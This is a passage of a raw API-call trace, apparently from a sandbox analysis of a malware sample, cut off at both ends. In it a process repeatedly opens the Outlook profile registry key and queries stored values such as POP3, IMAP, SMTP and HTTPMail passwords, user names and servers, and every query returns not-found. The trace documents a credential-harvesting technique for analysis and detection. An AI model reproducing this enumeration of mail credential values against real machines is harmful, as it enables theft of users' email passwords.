(hKey=0x6f8) returned 0x0 [0096.291] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.291] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.291] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.291] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.291] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.291] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.291] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.291] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.291] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.291] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.292] RegQueryValueExA (in: hKey=0x6f8, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.292] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.292] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.292] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.292] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.292] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.292] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.292] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.292] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.292] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.292] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.292] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.292] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.292] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.292] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.292] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.292] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.292] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.293] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.293] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.293] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.293] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.293] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.293] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.293] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.293] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.293] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.293] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.293] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.293] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.293] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.293] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.293] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.293] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.293] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.294] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.294] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.294] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.294] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.294] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.294] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.294] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.294] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.294] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.294] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.294] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.294] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.294] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.294] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.294] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.294] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.294] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.295] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.295] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.295] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.295] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.295] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.295] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.295] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.295] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.295] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.295] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.295] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.295] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.295] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.295] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.295] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.295] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.295] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.295] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.296] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.296] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.296] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.296] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.296] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.296] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.296] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.296] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.296] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.296] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.296] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.296] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.296] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.296] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.296] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.296] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.296] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.296] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.296] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.297] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.297] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.297] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.297] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.297] RegQueryValueExA (in: hKey=0x6f8, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.297] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.297] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.297] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.297] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.297] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.297] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.297] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.297] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.297] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.297] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.297] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.297] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.297] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.297] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.298] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.298] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.298] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.298] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.298] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.298] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.298] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.298] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.298] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.298] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.298] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.298] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.298] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.298] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.298] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.298] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.298] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.298] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.298] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.299] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.299] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.299] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.299] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.299] RegOpenKeyExA (in: hKey=0xffffffff80000001, 